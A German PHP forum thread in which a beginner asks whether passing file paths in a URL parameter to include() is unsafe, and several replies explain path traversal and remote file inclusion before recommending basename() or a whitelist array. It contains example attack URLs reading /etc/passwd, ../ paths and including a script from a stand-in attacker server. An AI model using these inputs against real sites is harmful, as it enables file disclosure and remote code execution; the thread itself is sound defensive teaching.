palme: Pfadangaben in Variablen mit einem Link übergeben - unsicher?

Hallo,

ich glaube mich erinnern zu können, dass hier im Forum mal jemand was davon gesagt hat, dass wenn ich Pfadangaben in einem Link mit übergebe, dies unsicher sei, da sonst irgendjemand mein Verzeichnis oder auch Dateien einsehen könne, die ihn überhaupt nicht's angehen.
Man sieht ja dann den Inhalt der Variablen in der Adressleiste des Browsers bzw. in der Statusleiste.

Beispielsweise so:
http://localhost/dirk/index.php?verweis=./altb_energ/balkon.php

Was genau kann ein "unbefugter" jetzt mit dieser Information anfangen, wenn er möchte?

Wie kann ich das sonst noch lösen?

MfG

Palme

PS:Ich frage jetzt erst genauer nach, da ich damals noch nicht so weit mit PHP war!

  1. Hallo Palme,

    ich glaube mich erinnern zu können, dass hier im Forum mal jemand was davon gesagt hat, dass wenn ich Pfadangaben in einem Link mit übergebe, dies unsicher sei, da sonst irgendjemand mein Verzeichnis oder auch Dateien einsehen könne, die ihn überhaupt nicht's angehen.

    Sofern Du die Pfadangaben nicht weiter prüfst: ja.

    Man sieht ja dann den Inhalt der Variablen in der Adressleiste des Browsers bzw. in der Statusleiste.

    Exakt.

    Beispielsweise so:
    http://localhost/dirk/index.php?verweis=./altb_energ/balkon.php

    Was genau kann ein "unbefugter" jetzt mit dieser Information anfangen, wenn er möchte?

    Er könnte z.B.
    http://localhost/dirk/index.php?verweis=/etc/passwd

    oder unter Windows:
    http://localhost/dirk/index.php?verweis=C:/autoexec.bat

    (so als Beispiel)

    Wie kann ich das sonst noch lösen?

    Erstens: Hänge den Pfad immer an das aktuelle Verzeichnis, in dem das Scritp liegt (dirname(__FILE__)) an, und prüfe desweiteren, ob die Zeichenkette .. darin vorkommt. Wenn das der Fall ist, dann verweigere den Zugriff. (Am besten mit "nicht gefunden" oder so) Außerdem solltest Du natürlich prüfen, ob die Datei existiert.

    PS:Ich frage jetzt erst genauer nach, da ich damals noch nicht so weit mit PHP war!

    Besser spät als nie...

    Grüße,

    Christian

    --
    Ich bitte darum, dass ein Themenbereich (BARRIEREFREIHEIT) eingerichtet wird.
    1. Hallo Palme,
      Sofern Du die Pfadangaben nicht weiter prüfst: ja.

      Wie ist das gemwint, sorry, aber ich bin noch kein Experte!

      Er könnte z.B.
      http://localhost/dirk/index.php?verweis=/etc/passwd

      oder unter Windows:
      http://localhost/dirk/index.php?verweis=C:/autoexec.bat

      (so als Beispiel)

      Das heißt also, er kann sich wie in diesem Fall z.B. irgendwelche Dateien auf meinem Rechner ansehen? .. müssen diese aber nicht erst über die Webfreigabe freigeschaltet sein?

      Erstens: Hänge den Pfad immer an das aktuelle Verzeichnis, in dem das Scritp liegt (dirname(__FILE__)) an, und prüfe desweiteren, ob die Zeichenkette .. darin vorkommt. Wenn das der Fall ist, dann verweigere den Zugriff. (Am besten mit "nicht gefunden" oder so) Außerdem solltest Du natürlich prüfen, ob die Datei existiert.

      Ich verstehe nur Bahnhof! Tschuldigung!

      Grüße

      Palme

      1. Hallo Palme,

        Sofern Du die Pfadangaben nicht weiter prüfst: ja.
        Wie ist das gemwint, sorry, aber ich bin noch kein Experte!

        Du musst die Pfadangaben (wie ich Dir im anderen Posting unten, wo Du nur Bahnhof verstanden hast, erklärt habe) manuell prüfen, ob diese in Ordnung sind.

        Das heißt also, er kann sich wie in diesem Fall z.B. irgendwelche Dateien auf meinem Rechner ansehen? .. müssen diese aber nicht erst über die Webfreigabe freigeschaltet sein?

        PHP hat VOLLZUGRIFF auf Deinen Rechner, zumindest mit den Rechten, die der Benutzer, unter dem Dein Webserver läuft. (Ausnahme: Safe-Mode, aber lassen wir das mal...)

        Erstens: Hänge den Pfad immer an das aktuelle Verzeichnis, in dem das Scritp liegt (dirname(__FILE__)) an, und prüfe desweiteren, ob die Zeichenkette .. darin vorkommt. Wenn das der Fall ist, dann verweigere den Zugriff. (Am besten mit "nicht gefunden" oder so) Außerdem solltest Du natürlich prüfen, ob die Datei existiert.

        Ich verstehe nur Bahnhof! Tschuldigung!

        Du bekommst das aktuelle Verzeichnis über

        $akt_verz = dirname(__FILE__);

        Du hängst den übergebenen Pfad an das Verzeichnis an:

        $neuer_pfad = $akt_verz . '/' . $_GET['pfad'];

        Du prüfst, ob die Zeichenkette '..' im Pfad enthalten ist:

        if (strpos($neuer_pfad, '..') !== false) {
          // Zugriff verweigert
        }

        Jetzt etwas klarer? (Anm: die Lösung von Thorsten gefällt mir persönlich noch besser)

        Grüße,

        Christian

        --
        Ich bitte darum, dass ein Themenbereich (BARRIEREFREIHEIT) eingerichtet wird.
        1. if (strpos($neuer_pfad, '..') !== false) {
            // Zugriff verweigert
          }

          Jetzt etwas klarer? (Anm: die Lösung von Thorsten gefällt mir persönlich noch besser)

          Ich versuche zu verstehen!

          Kann ich denn nicht einfach auch die von mir genannte Methode mittels "include" weiter verwenden, und mittels deiner genannten Funktion bzw. Überprüfung, den String daraufhin überprüfen, ob er Dateiendungen wie beispielsweise   .com, .bat, .exe oder sogar solche Angabe wie C:/,  c:/windows usw. enthält, und dann den Zugriff verweigern?

          Grüße

          Palme

          1. Hallo Palme,

            Kann ich denn nicht einfach auch die von mir genannte Methode mittels "include" weiter verwenden,

            Darum ging es ja die ganze Zeit, mein Code ist nur zur Überprüfung da.

            und mittels deiner genannten Funktion bzw. Überprüfung, den String daraufhin überprüfen, ob er Dateiendungen wie beispielsweise   .com, .bat, .exe oder sogar solche Angabe wie C:/,  c:/windows usw. enthält, und dann den Zugriff verweigern?

            Mit meinem Code musst Du eigentlich nur noch prüfen, ob die Datei existiert (mit der Funktion file_exists), der Rest wird alleine durch das Anhängen an den aktuellen Pfad "erschlagen".

            Grüße,

            Christian

            --
            Ich bitte darum, dass ein Themenbereich (BARRIEREFREIHEIT) eingerichtet wird.
            1. Hallo,

              wie seiht es denn jetzt insgesamt mit meiner eigenen Ordung meiner Dateien aus, wie in diesem Thread beschrieben?

              [pref:t=32844&m=178270]

              Grüße

              Palme

              1. Hallp Palme,

                wie seiht es denn jetzt insgesamt mit meiner eigenen Ordung meiner Dateien aus, wie in diesem Thread beschrieben?

                Wenn Du meine Methode anwendest, dann brauchst Du Dir da keine Gedanken zu machen, ich kann Dir aber nicht garantieren, dass das 100%ig sicher ist. Wenn Du Thorstens Methode anwendest, dann ist das 100%ig sicher, jedoch müsstest Du die Kategorie extra übergeben.

                Grüße,

                Christian

                --
                Ich bitte darum, dass ein Themenbereich (BARRIEREFREIHEIT) eingerichtet wird.
  2. Hallo palme,

    ich glaube mich erinnern zu können, dass hier im Forum mal jemand was davon gesagt hat, dass wenn ich Pfadangaben in einem Link mit übergebe, dies unsicher sei, da sonst irgendjemand mein Verzeichnis oder auch Dateien einsehen könne, die ihn überhaupt nicht's angehen.

    Das ist nicht unbedingt das Problem, aber wenn du einen Pfad übergibst, und den dann einbindest oder so, besteht die gefahr, das jemand einen fremden Code einbindet, der dann allerlei Unsinn auf deinem Server (oder Webspace) anstellen kann.

    http://localhost/dirk/index.php?verweis=./altb_energ/balkon.php

    naja, mit localhost kann man im Internet ja sowieso nicht viel anfangen :-)

    Wie kann ich das sonst noch lösen?

    was möchtest du machen?

    Grüße aus Nürnberg
    Tobias

    1. naja, mit localhost kann man im Internet ja sowieso nicht viel anfangen :-)

      Sorry, meine Seite ist noch nicht soweit!

      was möchtest du machen?

      Bei meinem genannten Beispiel geht es lediglich darum, dass die Variablen in der durch den Link aufgerufenen Datei benötigt werden, um eine Datei (in der Variable gespeichert), mittels <?php include..>
      aufzurufen!

      Grüße

      Dirk

      1. Hallo palme,

        Bei meinem genannten Beispiel geht es lediglich darum, dass die Variablen in der durch den Link aufgerufenen Datei benötigt werden, um eine Datei (in der Variable gespeichert), mittels <?php include..> aufzurufen!

        und _genau_ das solltes du nicht machen. Damit lässt sich dein Server sehr leicht angreifen (durch einbinden von Scripten von fremden Servern).

        Grüße aus Nürnberg
        Tobias

  3. hio,

    Beispielsweise so:
    http://localhost/dirk/index.php?verweis=./altb_energ/balkon.php

    Was genau kann ein "unbefugter" jetzt mit dieser Information anfangen, wenn er möchte?

    er kann versuchen auf andere Dateien des Dateisystems zugreifen, indem er einen beliebigen Pfad angibt, was dabei herauskommt hängt von deinem Skript ab. z.b. ../admin/.htaccess und ../../password.txt

    Wie kann ich das sonst noch lösen?

    Am besten ist es dafür zu sorgen, das alle Zugriffe nur auf einem fest definiertem Verzeichnis herauskommen und so ein Benutzer keine Chance hat auf einen Pfad seiner Wahl zu gelangen.

    z.b.
    anstatt ?verweis=./altb_energ/balkon.php
    ?verweis=balkon.php

    wobei das .php hier noch nicht der renner ist, weil du damit die möglichkeit gibst die Dateieinung einzustellen, was heisst man könnte zunächstmal auf jede beliebige Date des Verzeichnisses zugreifen.

    in deinem skript könnte das dann so aussehen.

    <?php

    $verweis = (isset($_GET["verweis"])) ? basename($_GET["verweis"]) : "";

    // mit basename(); stellst du sicher, das keinerlei Pfadangabe enthalten ist, und so keine Zugriff auf andere Pfade möglich ist.

    if (file_exists("$verweis.php"))
      ...

    else

    ....

    gl & hf

    Thorsten

    1. Am besten ist es dafür zu sorgen, das alle Zugriffe nur auf einem fest definiertem Verzeichnis herauskommen und so ein Benutzer keine Chance hat auf einen Pfad seiner Wahl zu gelangen.

      z.b.
      anstatt ?verweis=./altb_energ/balkon.php
      ?verweis=balkon.php

      Aber dann, kann ich meine Dateien nicht mehr so schön wie ich es bisher getan habe sortieren, da ich diese nach Themengebieten in unterschiedlichen Ordnern sortiert habe, und somit meine Pfadangabe ständig eien andere ist.
      Wenn ich das richtig veerstanden habe, dann müssten die Dateien, die ich auf diese Weise aufrufen möchte, alle in ein und demselben Verzeichnis liegen,...Richtig?

      wobei das .php hier noch nicht der renner ist, weil du damit die möglichkeit gibst die Dateieinung einzustellen, was heisst man könnte zunächstmal auf jede beliebige Date des Verzeichnisses zugreifen.

      ????

      in deinem skript könnte das dann so aussehen.

      <?php

      $verweis = (isset($_GET["verweis"])) ? basename($_GET["verweis"]) : "";

      // mit basename(); stellst du sicher, das keinerlei Pfadangabe enthalten ist, und so keine Zugriff auf andere Pfade möglich ist.

      Wow, das ist für mich jetzt noch absolute Fremdsprache!

      Grüße

      Palme

  4. Moin!

    Ich glaube, es wurde in diesem Thread die Ursache des Problems noch nicht erläutert. Ich hole das mal nach, weil ich glaube, dass man nur dann, wenn man versteht, wo das Problem allgemein liegt, wirksame Gegenmittel entwerfen kann.

    ich glaube mich erinnern zu können, dass hier im Forum mal jemand was davon gesagt hat, dass wenn ich Pfadangaben in einem Link mit übergebe, dies unsicher sei, da sonst irgendjemand mein Verzeichnis oder auch Dateien einsehen könne, die ihn überhaupt nicht's angehen.

    Diese Aussage ist, so wie sie da steht, nicht wirklich korrekt. Das Problem mit jeglichen Benutzerdaten ist, was du mit ihnen machst.

    Oberstes Prinzip: Benutzerdaten _sind böse_!

    Alles, was vom Browser des Benutzers kommt, kann manipuliert sein! Auch wenn du komplette Webseiten auslieferst, kann der Benutzer die bei sich lokal speichern, umändern, wieder in den Browser laden und dann an dich abschicken. Das ist absolut kein Problem. Deshalb mußt du bei der Programmierung _immer_ davon ausgehen, dass man dir mit den gesendeten Daten ans Leder will.

    Es ist deine Aufgabe, die möglichen Manipulationen durch geschickte Programmierung unmöglich zu machen.

    Man sieht ja dann den Inhalt der Variablen in der Adressleiste des Browsers bzw. in der Statusleiste.

    Beispielsweise so:
    http://localhost/dirk/index.php?verweis=./altb_energ/balkon.php

    Was genau kann ein "unbefugter" jetzt mit dieser Information anfangen, wenn er möchte?

    Die Sache mit den Dateiangaben in der Statuszeile (oder auch in Formularen - das ist ganz egal) hat folgenden Grund:

    Üblicherweise wird ein Anfänger diese Information direkt in ein

    include($verweis)

    umsetzen. Und BUMM - schon hat er ein schönes breites Hackertor geöffnet.

    Der Grund ist: Die Funktion include() nimmt als Werte einzubindender Dateien grundsätzlich auch URLs entgegen. Man könnte also mittels

    http://localhost/dirk/index.php?verweis=http://boeserserver.de/angriffsscript.txt

    einfach eine Textdatei (die aber PHP-Code enthält - dazu muß einfach nur die Zeichenfolge <?php Angriffscode ?> im Text vorkommen) in die Site einbinden. Der Angriffscode hat dann alle Möglichkeiten und Zugriffserlaubnisse, die deine PHP-Scripte auch haben. Mögliche Angriffsszenarien: Dein Gästebuch wird gelöscht - PHP hat Schreibzugriff, sonst könnte es keine neuen Einträge hinzufügen. Deine Datenbank wird gelöscht - ist genau dasselbe. Irgendwo wird schon eine Datei mit den Zugangsdaten rumliegen, die man includen könnte. Und ganz oberschlimm: Nicht _deine_ Daten werden gelöscht, sondern aufgrund mangelhafter Konfiguration des Webservers werden Daten _anderer_ Webpräsenzen gelöscht - das allerdings darfstdu dem Provider dann zu 50% in seine Schuhe schieben, denn sowas könntest du dann im Prinzip auch selbst machen - oder jeder andere Nutzer des Servers mit dir.

    Ich hoffe, du hast verstanden, warum es nicht gut ist, einer Include-Anweisung einen ungeprüften Dateinamen zu übergeben.

    Lösungsmöglichkeiten:
    1. Den Dateinamen prüfen. Wenn er mit "http://" beginnt, ist er böse. Wenn er auf nichtexistente Dateien zeigt (prüfbar mit file_exists(), dann ist er böse. Er ist eigentlich immer böse, egal wieviel man an dem Namen rumprüft, weil im Zweifel deine Prüfmethoden fehlerhaft sind, und durch geschickte Wahl von Angriffsmustern doch überlistet werden können.

    Deshalb nimm lieber Methode 2:
    Du legst ein Array mit allen von dir erlaubten Dateinamen an, die du per include() einbinden willst. Und in der URL-Zeile übergibst du nur noch den Index, den der Dateiname im Array hat. Auf diese Weise hast du mit einem absolut geringen Aufwand totale Sicherheit gewonnen. Warum?

    Der Angreifer kann dir ja einen beliebigen Index schicken. Damit kann er natürlich alle Dateien einbinden, die du als gültig definiert hast - allerdings kann er keinesfalls _mehr_ oder _andere_ Dateien einbinden, sondern nur die, die du definiert hast.

    Aussehen sollte das ganze ungefähr so:

    Arraydefinition:
    $einbinden[1]="./altb_energ/balkon.php"
    $einbinden[2]="./altb_energ/garten.php"
    $einbinden[3]="./startseite/index.php"

    Und in der URL dann:
    http://localhost/dirk/index.php?verweis=1

    bindet "./altb_energ/balkon.php" ein.

    Auswerten kann man das ganze simpel so:

    include($einbinden[$verweis]);

    Das ist allerdings nicht schön. Besser, du prüfst, ob in $einbinden[$verweis] was drinsteht, bevor du es einbindest (verhindert unschöne Fehlermeldungen):

    if (isset($einbinden[$verweis])
    {
      include($einbinden[$verweis]);
    }
    else
    {
      // vielleicht Fehlermeldung ausgeben
    }

    Das ist aber immer noch nicht so schön: PHP hat seit Version 4.2 das automatische Übertragen von URL-Parametern und Formularinhalten in globale Variablen abgeschaltet - das ist nur noch eingeschaltet, wenn das explizit vom Admin vorgenommen wurde.

    Deshalb verwendest du besser $_GET['verweis'] statt $verweis (und wenn die Verweis-Angabe in einem POST-Formular stand, nimm $_POST['verweis']). Solltest du noch eine PHP-Version vor 4.1 (also 4.0.x) verwenden, dann mußt du leider die langen, alten Variablennamen nehmen: $HTTP_GET_VARS['verweis'] bzw. $HTTP_POST_VARS['verweis'].

    if (isset($einbinden[$_GET['verweis']])
    {
      include($einbinden[$_GET['verweis']]);
    }

    Und wenn du dir keine Zahlen merken kannst, darfst du gerne bei der Arraydefinition auch Hash-Schlüssel verwenden (dann bitte in Anführungszeichen):

    $einbinden['balkon']="./altb_energ/balkon.php"
    $einbinden['garten']="./altb_energ/garten.php"
    $einbinden['index']="./startseite/index.php"

    In die URL kommt dann
    http://localhost/dirk/index.php?verweis=garten

    für die Einbindung von "./altb_energ/garten.php"

    Ist lesefreundlicher, und genauso sicher, denn include wird nur ausgeführt, wenn für den in der URL übergebenen Indexwert ein Wert im Array gespeichert ist (denn das ist von dir als unbedenklich dort eingetragen worden).

    Man kann nicht mit
    http://localhost/dirk/index.php?verweis=http://badserver/angriff.txt
    irgendein böses Script einbinden, weil es keinen definierten Arrayeintrag
    $einbinden['http://badserver/angriff.txt']
    gibt.

    - Sven Rautenberg

    --
    "Bei einer Geschichte gibt es immer vier Seiten: Deine Seite, ihre Seite, die Wahrheit und das, was wirklich passiert ist." (Rousseau)
    1. Hallo Sven,

      Vielen Vielen Dank, für deine sehr ausführliche Antwort!!!

      Jetzt habe ich es ziemlich gut verstanden!
      Kompliment an dich, für deine sher gute Erklärung!!!

      Grüße

      Palme